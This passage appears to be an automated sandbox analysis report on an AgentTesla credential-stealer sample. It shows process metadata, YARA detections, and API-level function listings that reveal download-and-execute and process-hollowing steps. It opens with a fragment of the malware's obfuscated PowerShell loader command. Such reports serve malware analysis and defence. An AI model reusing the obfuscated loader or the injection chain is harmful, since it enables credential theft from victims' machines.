wjsdesativadowjs'+', wjsAddInProcess32wjs, wjsdesativadowjs, wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsde'+'sativadowjs,wjs1wjs,wjsdesativadowjs));')-CreplacE([ChaR]118+[ChaR]122+[ChaR]103),[ChaR]36 -rePlACe ([ChaR]55+[ChaR]78+[ChaR]70),[ChaR]124 -rePlACe'wjs',[ChaR]39) )"
Imagebase:	0x140000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.526475419.00000000074EA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.526475419.00000000074EA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:53:07
Start date:	24/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xa30000
File size:	42'056 bytes
MD5 hash:	EFBCDD2A3EBEA841996AEF00417AA958
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.622833840.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.622833840.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.623977936.00000000023B5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	14.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	50.9%
Total number of Nodes:	53
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 035006DC Relevance: 4.5, APIs: 3, Instructions: 37
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON(00000000,03500652,?,00000000,00000000), ref: 035006DE

Part of subcall function 035006F5: ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 0350071C
Part of subcall function 035006F5: ExitProcess.KERNEL32(00000000), ref: 03500734

Memory Dump Source

Source File: 00000003.00000002.471163150.0000000003500000.00000004.00000020.00020000.00000000.sdmp, Offset: 03500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3500000_EQNEDT32.jbxd

Similarity

API ID: DownloadExecuteExitFileProcessShell
String ID:
API String ID: 3584569557-0
Opcode ID: 2ac2e785a5df96b5b1d2b6d05b07d367621e1ab0833f3c674eb7a3d1e14328db
Instruction ID: a8bc6783f5aa49d5ecb8fadf777948476220f67ac2380a69a6eb494fb8b0b246
Opcode Fuzzy Hash: 2ac2e785a5df96b5b1d2b6d05b07d367621e1ab0833f3c674eb7a3d1e14328db
Instruction Fuzzy Hash: FEF0275058C3403AE611E7746C9EF6E6F64BFC1740F140899F2464F0F3D89E84048E1A

Function 0350070A Relevance: 3.0, APIs: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 0350071C

Part of subcall function 0350072F: ExitProcess.KERNEL32(00000000), ref: 03500734

Memory Dump Source

Source File: 00000003.00000002.471163150.0000000003500000.00000004.00000020.00020000.00000000.sdmp, Offset: 03500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3500000_EQNEDT32.jbxd

Similarity

API ID: ExecuteExitProcessShell
String ID:
API String ID: 1124553745-0
Opcode ID: 9bb4a9efaea7c07eca078e7354966bed14a700fa2dbfda34c55d40211f488600
Instruction ID: 47a52925d361e0db3a83666470944beaf193c0f4f973d5ac3e04788b56029b7a
Opcode Fuzzy Hash: 9bb4a9efaea7c07eca078e7354966bed14a700fa2dbfda34c55d40211f488600
Instruction Fuzzy Hash: C2014E9454430221EF70E678AC457B9AB50BB41700FCC485BE5810B0F5D55E90C38E1A

Function 035006F5 Relevance: 3.0, APIs: 2, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.471163150.0000000003500000.00000004.00000020.00020000.00000000.sdmp, Offset: 03500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3500000_EQNEDT32.jbxd

Similarity

API ID: ExecuteExitProcessShell
String ID:
API String ID: 1124553745-0
Opcode ID: 86e204669779fcf6b1d289fc5e1d83ca539377395524096db536a032bfc48ab3
Instruction ID: 2dbf66eb68738a293f8a5b42facba624ab5e57cc59ee40e295d411543a023de4
Opcode Fuzzy Hash: 86e204669779fcf6b1d289fc5e1d83ca539377395524096db536a032bfc48ab3
Instruction Fuzzy Hash: 9001496059830134EB60E2786C88BAEAB94BB81740F98846EE2810B0F1C25E84438E1A

Function 03500627 Relevance: 1.6, APIs: 1, Instructions: 74
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(03500619), ref: 03500627

Memory Dump Source

Source File: 00000003.00000002.471163150.0000000003500000.00000004.00000020.00020000.00000000.sdmp, Offset: 03500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3500000_EQNEDT32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 315e0537453bcb71ca42318bac62e4e377d9daaabe0f44570ee63fa4ad907b81
Instruction ID: 86bacf073b8815037e5a3cdb098d877d892775938e9a5338edb1ccc4615d88af
Opcode Fuzzy Hash: 315e0537453bcb71ca42318bac62e4e377d9daaabe0f44570ee63fa4ad907b81
Instruction Fuzzy Hash: DB21289194C7C11FDB26D2706D7DB29BF6A3BA301470DCACED4CA0B4E3E756A101C286

Function 0350072F Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 03500734

Memory Dump Source

Source File: 00000003.00000002.471163150.0000000003500000.00000004.00000020.00020000.00000000.sdmp, Offset: 03500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3500000_EQNEDT32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
Instruction ID: f49c04242a7a61e974833cf8218924656bc711991e28e6f13ed51e74029fe7d2
Opcode Fuzzy Hash: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
Instruction Fuzzy Hash:

Function 03500736 Relevance: .0, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.471163150.0000000003500000.00000004.00000020.00020000.00000000.sdmp, Offset: 03500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3500000_EQNEDT32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
Instruction ID: cb3c66635d79866a40efd45b2ff74bb5a9c3f7e9f074a98f5186afbaa03cdffa
Opcode Fuzzy Hash: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
Instruction Fuzzy Hash: 68D052352025028FC708DF04D980F52F37AFFC8611B28C268E4044B6A9D335EC92CA94

Non-executed Functions

Function 0350055E Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(0350054C), ref: 0350055E

Memory Dump Source

Source File: 00000003.00000002.471163150.0000000003500000.00000004.00000020.00020000.00000000.sdmp, Offset: 03500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3500000_EQNEDT32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: b5dc7671b86aaf1abe87ce343bfc73ecda07f80762468e52883e692848f189de
Instruction ID: 0b0601bac2b4fb4df2995bc016a093253fec4acb9e6b473bf7b97f2680c62c03
Opcode Fuzzy Hash: b5dc7671b86aaf1abe87ce343bfc73ecda07f80762468e52883e692848f189de
Instruction Fuzzy Hash: 0811D4A584D7C01FC722C7B079AA26AFF217B5340070D85CF80960B0F3D65A9212D396

Analysis Process: powershell.exePID: 3708, Parent PID: 3640COMMON

Executed Functions

Function 0024D006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.573929673.000000000024D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0024D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_24d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d52af6841a82a3b3d11e66b2a177981e01921601db356dbe2407182f6322600e
Instruction ID: bc9057ce27dbb61028c6f8227a3eb5b03cff3e72421b75f36eb379e5c8680537
Opcode Fuzzy Hash: d52af6841a82a3b3d11e66b2a177981e01921601db356dbe2407182f6322600e
Instruction Fuzzy Hash: CC018C6140D3C09FE7164A218C94752BFA4EF43724F1985CBE8848F1A3C2685C45CBB2

Function 0024D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.573929673.000000000024D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0024D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_24d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e9d40324ea5e0b9c02bae316ad99d71efa56a4d2cdfe90139f64c3a4b723bd2
Instruction ID: a2414b839cd6b1f131c174f2154567cfea649e29529f8cdf42d7f569d86213fa
Opcode Fuzzy Hash: 0e9d40324ea5e0b9c02bae316ad99d71efa56a4d2cdfe90139f64c3a4b723bd2
Instruction Fuzzy Hash: AA01F730524340EBE7184E15CC84766BB98DF41764F18C51AEC480F182C2B99941C6B1

Analysis Process: powershell.exePID: 3808, Parent PID: 3708COMMON

Execution Graph

Execution Coverage:	6.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	61
Total number of Limit Nodes:	6

Executed Functions

Function 00285B40 Relevance: 1.3, Instructions: 1261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.520168855.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_280000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19039478a9dd814d5ae0b6d1c3503b608e6f48e80c8e6d6b21e3b8c11b797e13
Instruction ID: 2139f3a48ba580d9f8b4a7382b2069dacbf9fa42513d9647eb0310e50d31b6a7
Opcode Fuzzy Hash: 19039478a9dd814d5ae0b6d1c3503b608e6f48e80c8e6d6b21e3b8c11b797e13
Instruction Fuzzy Hash: 9FB2C074A1A3859FCB06DF68C494A9DBFB1BF4A310F198096E444AB3A3C734DD46CB91

Function 00288528 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 586
memoryprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,00000000,00003000,00000040), ref: 002887B5
VirtualAllocEx.KERNEL32(?,00000000,00000000,00003000,00000040), ref: 00288834
ResumeThread.KERNELBASE(?), ref: 00288A4A
CreateProcessW.KERNEL32(00000000,?,00000009,?,?,?,?,?,?,?), ref: 00288D44

Strings

lX , xrefs: 00288791, 00288810

Memory Dump Source

Source File: 00000009.00000002.520168855.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_280000_powershell.jbxd

Similarity

API ID: AllocVirtual$CreateProcessResumeThread
String ID: lX
API String ID: 1213262536-2093460002
Opcode ID: b71bf00bdc3a2dcce7567797563de4e7005a2b903b3577ae6770c4c62093db57
Instruction ID: edd19abb96f3753672353723c4958b2402a2249f492bd0f97e6085f6794ab44e
Opcode Fuzzy Hash: b71bf00bdc3a2dcce7567797563de4e7005a2b903b3577ae6770c4c62093db57
Instruction Fuzzy Hash: 5832C174A11218CFDB24EF64C854B9DBBB2BF84304F5481AAE419AB391DF309E94CF91

Function 003B2CF8 Relevance: 8.0, Strings: 6, Instructions: 450
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@#|e, xrefs: 003B2EEF
@#|e, xrefs: 003B308F
@#|e, xrefs: 003B2EF9
@#|e, xrefs: 003B3099
@#|e, xrefs: 003B2D6C
@#|e, xrefs: 003B2D76

Memory Dump Source

Source File: 00000009.00000002.520260675.00000000003B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_powershell.jbxd

Similarity

API ID:
String ID: @#|e$@#|e$@#|e$@#|e$@#|e$@#|e
API String ID: 0-860154774
Opcode ID: d363fbd247e2ea3a4130b44ef4706e6455bec7472dcfaf3470b36036be0c2732
Instruction ID: f969d7413a19c8a0eaf38df26e22d3aa7f38e17361f0be563725653345045022
Opcode Fuzzy Hash: d363fbd247e2ea3a4130b44ef4706e6455bec7472dcfaf3470b36036be0c2732
Instruction Fuzzy Hash: 7BF14530B04314DFDB169F68C8447EBBBB2AF85318F25C5AAD6198BAA1DB31CE41C751

Function 002884AE Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 391
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

lX , xrefs: 00288791, 00288810

Memory Dump Source

Source File: 00000009.00000002.520168855.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_280000_powershell.jbxd

Similarity

API ID:
String ID: lX
API String ID: 0-2093460002
Opcode ID: 4ea9432bdb5a2f2f4342c2d2d7ba4486019b3874bf48dd7ecec56a4e7b24cc18
Instruction ID: 18f190504fcbd6671346ceba3788dcc42b15afb0ef0f71f6f8de95432526bd24
Opcode Fuzzy Hash: 4ea9432bdb5a2f2f4342c2d2d7ba4486019b3874bf48dd7ecec56a4e7b24cc18
Instruction Fuzzy Hash: E6F1B074A113188FDB24EF64CC84B99BBB2BF85344F6481AAD44CAB2D2DB709D94CF51

Function 003B2020 Relevance: 5.3, Strings: 4, Instructions: 253
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@#|e, xrefs: 003B205D
@#|e, xrefs: 003B2251
@#|e, xrefs: 003B2247
@#|e, xrefs: 003B2053

Memory Dump Source

Source File: 00000009.00000002.520260675.00000000003B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_powershell.jbxd

Similarity

API ID:
String ID: @#|e$@#|e$@#|e$@#|e
API String ID: 0-1747165277
Opcode ID: ef8082deb06d8e70335330c09be04a26d7a462d9bb5543fb7f8eb456988078c8
Instruction ID: 19aa115b3dc280975594c2daed85c7ef89cd0d96b7d769766619ad86a09e352a
Opcode Fuzzy Hash: ef8082deb06d8e70335330c09be04a26d7a462d9bb5543fb7f8eb456988078c8
Instruction Fuzzy Hash: 2E812631B04200CFCB269F29C8002EBBBB5AFD5315B2986BBCA54DBA51DB35CD41C761

Function 003B1298 Relevance: 2.7, Strings: 2, Instructions: 207
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@#|e, xrefs: 003B12C8
@#|e, xrefs: 003B12D2

Memory Dump Source

Source File: 00000009.00000002.520260675.00000000003B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_powershell.jbxd

Similarity

API ID:
String ID: @#|e$@#|e
API String ID: 0-396352711
Opcode ID: c6639c71e5997b5c56a6a85457db210f22693b68895c182fb87ee9defd9ab770
Instruction ID: 1ce8568a15b111eb3d4cd02d458be631c755e055ccb68f4a86966db3e3329100
Opcode Fuzzy Hash: c6639c71e5997b5c56a6a85457db210f22693b68895c182fb87ee9defd9ab770
Instruction Fuzzy Hash: 17614734B04301CFDB269B65D8206EA77F1AFC1314BA580AAD609CFA92EF35CD41C762

Function 003B10D0 Relevance: 2.5, Strings: 2, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$;,, xrefs: 003B10DD
$;,, xrefs: 003B110E

Memory Dump Source

Source File: 00000009.00000002.520260675.00000000003B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_powershell.jbxd

Similarity

API ID:
String ID: $;,$$;,
API String ID: 0-3530334740
Opcode ID: 7a6ced492090f34d77bb27676a8893a6309ae07962d071d9b3260d2902ee3001
Instruction ID: ae9120d50e8d62ed88003fddc10a387168266f59dfef4e052fe2995e310deb40
Opcode Fuzzy Hash: 7a6ced492090f34d77bb27676a8893a6309ae07962d071d9b3260d2902ee3001
Instruction Fuzzy Hash: D0F028703102086BEA2467709815F6F66D9AFD4B04F508019FA099F3C1DDB1AD008365

Function 002879E8 Relevance: 2.2, APIs: 1, Instructions: 688
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,00000000,00000000,0647197F,00000000,?,?,?,00000000,00000000,?,0028888A,?,00000000,?), ref: 00289034

Memory Dump Source

Source File: 00000009.00000002.520168855.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_280000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 7bd0bb6e1dd567d57b591acaf79c39eb4ea5debb9231499b79b7fe93402c6955
Instruction ID: 1aa731c7fbd6b662d09127f0835820da51a0b50e6d58937f10512acdfa66d588
Opcode Fuzzy Hash: 7bd0bb6e1dd567d57b591acaf79c39eb4ea5debb9231499b79b7fe93402c6955
Instruction Fuzzy Hash: 21D1CF34A14305CFDB05AFB4D8587AE7BF2EF89300F14442EE80AA7396DB759855CBA1

Function 002879AC Relevance: 1.7, APIs: 1, Instructions: 156
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32(00000000,?,00000009,?,?,?,?,?,?,?), ref: 00288D44

Memory Dump Source

Source File: 00000009.00000002.520168855.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_280000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: d4a88a7a71cd16c959b79b3c8e8cd0892fbbfa711c38c792eea6f8fe3790f4c2
Instruction ID: f637006a87f162eee88c759978591127f3ea14296ff978aebc47b3616878a227
Opcode Fuzzy Hash: d4a88a7a71cd16c959b79b3c8e8cd0892fbbfa711c38c792eea6f8fe3790f4c2
Instruction Fuzzy Hash: EE512A71D11219DFEB24CF65C940BDDBBB5BF48304F1484AAE909B7280DB719A94CFA0

Function 00288FB1 Relevance: 1.6, APIs: 1, Instructions: 64
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,00000000,00000000,0647197F,00000000,?,?,?,00000000,00000000,?,0028888A,?,00000000,?), ref: 00289034

Memory Dump Source

Source File: 00000009.00000002.520168855.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_280000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 2fbbf430d190164a0596e5a779851c1091bfdb2a031942267aaeb53f89e713b7
Instruction ID: 9385abc6878bdc51c8e846a1b6728d2048e802b5cb511d4f5b9c3244f16faecb
Opcode Fuzzy Hash: 2fbbf430d190164a0596e5a779851c1091bfdb2a031942267aaeb53f89e713b7
Instruction Fuzzy Hash: 1C2114B59112499FDB10CFA9C884BEEBBF4FB49314F14842AE818A7240C3789954CF60

Function 002879D0 Relevance: 1.6, APIs: 1, Instructions: 63
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,00000000,00000000,0647197F,00000000,?,?,?,00000000,00000000,?,0028888A,?,00000000,?), ref: 00289034

Memory Dump Source

Source File: 00000009.00000002.520168855.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_280000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 1d3cc7de4aafd7ee840cdcdeb3522bf86cfb63496946472d971d646ab763f9b1
Instruction ID: c41e5f278cea0efe8c1decc40cb55b3a0972651743ece0856cfe5311a7529399
Opcode Fuzzy Hash: 1d3cc7de4aafd7ee840cdcdeb3522bf86cfb63496946472d971d646ab763f9b1
Instruction Fuzzy Hash: DF2107B5911309DFDB10CF9AC884BDEBBF4FB48354F54842AE918A7240D378A954CBA5

Function 00288E39 Relevance: 1.6, APIs: 1, Instructions: 58
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,00288692), ref: 00288EAB

Memory Dump Source

Source File: 00000009.00000002.520168855.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_280000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 997924a1d64a95e1c138db63e0cdf0b409c8e8c0f7fbf65fc950e8666c499e9f
Instruction ID: ff0a7ae396d24380f7e71362e2eb1055b0412b6710f31e5c1870b5d61544280b
Opcode Fuzzy Hash: 997924a1d64a95e1c138db63e0cdf0b409c8e8c0f7fbf65fc950e8666c499e9f
Instruction Fuzzy Hash: 491167B5D202498FDB10CFAAC884BDEFBF4EB89314F24852AD468A3640C3789545CFA1

Function 002879B8 Relevance: 1.6, APIs: 1, Instructions: 57
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,00288692), ref: 00288EAB

Memory Dump Source

Source File: 00000009.00000002.520168855.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_280000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 85953d0c4523d52595acb0dbe46d92ba81746bac8b284a3a3aa173ed76cd050e
Instruction ID: 8798191c7fcf116df93c82ec8d51b0e97e2fd26180919bc55cbc8618e22c0770
Opcode Fuzzy Hash: 85953d0c4523d52595acb0dbe46d92ba81746bac8b284a3a3aa173ed76cd050e
Instruction Fuzzy Hash: 231167B1D202098FDB10CF9AC844BDEBBF4EB88310F64842AE418A3240D778A954CFA1

Function 002879DC Relevance: 1.6, APIs: 1, Instructions: 57
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,00288692), ref: 00288EAB

Memory Dump Source

Source File: 00000009.00000002.520168855.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_280000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 6864cd747ac6edc562fa738dc9ad4fa3b5224edc84ad50e00f7a1d19c49119a9
Instruction ID: 63476f92f520642d4cc22656293087ad79cc02473ba17f71decd7b8091610584
Opcode Fuzzy Hash: 6864cd747ac6edc562fa738dc9ad4fa3b5224edc84ad50e00f7a1d19c49119a9
Instruction Fuzzy Hash: C21137B5D206098FDB10DF9AC844BDEBBF4EB89310F54842AE458A3240D778A955CFA5

Function 003B127C Relevance: 1.4, Strings: 1, Instructions: 104
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@#|e, xrefs: 003B12C8

Memory Dump Source

Source File: 00000009.00000002.520260675.00000000003B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_powershell.jbxd

Similarity

API ID:
String ID: @#|e
API String ID: 0-1040833717
Opcode ID: 8f3162a9ae73776e810e43fa2ec74018e5e022c47833fc1167414c20e593f952
Instruction ID: b635ed77f705de3eda5b3e4332edece707f27b3a8261c4939afcd1138d079b0a
Opcode Fuzzy Hash: 8f3162a9ae73776e810e43fa2ec74018e5e022c47833fc1167414c20e593f952
Instruction Fuzzy Hash: 21310534A04305CFDF269A25D5303FA77F5AF90308FA64066CA08DBD81EB35CA40C762

Function 003B3054 Relevance: 1.3, Strings: 1, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@#|e, xrefs: 003B308F

Memory Dump Source

Source File: 00000009.00000002.520260675.00000000003B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_powershell.jbxd

Similarity

API ID:
String ID: @#|e
API String ID: 0-1040833717
Opcode ID: d7c0d0906af10da23c7396dee30c93c8b4807d0667a1ca881c73ea75203b4412
Instruction ID: de7ea9b52a719a3a07227a85a095d78d94d03847bf2cd8d91727cbbd521e874f
Opcode Fuzzy Hash: d7c0d0906af10da23c7396dee30c93c8b4807d0667a1ca881c73ea75203b4412
Instruction Fuzzy Hash: 8231D130A00228DFDF26EF1DC844BEAB7A9BF44318F258069E6159BA90CB74DE41CB41

Function 003B2CF2 Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

@#|e, xrefs: 003B2D6C

Memory Dump Source

Source File: 00000009.00000002.520260675.00000000003B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_powershell.jbxd

Similarity

API ID:
String ID: @#|e
API String ID: 0-1040833717
Opcode ID: d96a26110998d483c548af3bf56022497d5d1d4dc2ef01bed2d9e975b10b2461
Instruction ID: d469596738a9949eab8beb944a34761fb58c966b0636a609043fe8c3038ef859
Opcode Fuzzy Hash: d96a26110998d483c548af3bf56022497d5d1d4dc2ef01bed2d9e975b10b2461
Instruction Fuzzy Hash: 0B21D330A00205DFDF25DF66C444BEB77A1BF94358F1A826AD628CBA20D734DD81CB91

Function 003B2204 Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

@#|e, xrefs: 003B2247

Memory Dump Source

Source File: 00000009.00000002.520260675.00000000003B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_powershell.jbxd

Similarity

API ID:
String ID: @#|e
API String ID: 0-1040833717
Opcode ID: 600a708baef8af26608eafe4cc3b0a8d5968942e2aa5aedd6e8d84d5f0836d72
Instruction ID: 1a7faf6202ffbf73d9d379b677e1454490e9ffaa3712ed223ea8e43e9157bca4
Opcode Fuzzy Hash: 600a708baef8af26608eafe4cc3b0a8d5968942e2aa5aedd6e8d84d5f0836d72
Instruction Fuzzy Hash: 2311C434A04305CFCF638F29C5006EB7BB4AF92319F2A46AACA54DB945D7358945CB91

Function 003B0F32 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.520260675.00000000003B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4f62f8d515a574bc4e6352dd999755d10c757876c81a17b840894cce99e9ac0
Instruction ID: 0f1caeb03c70cf4e0a8671ed09424fd0065ad421556177dd679c08c2064459ce
Opcode Fuzzy Hash: a4f62f8d515a574bc4e6352dd999755d10c757876c81a17b840894cce99e9ac0
Instruction Fuzzy Hash: 0D51E931B083808FD7169B64C860BAABBB1EF86314F19C4DBD648DF2A3C6729D41C761

Function 001CD006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

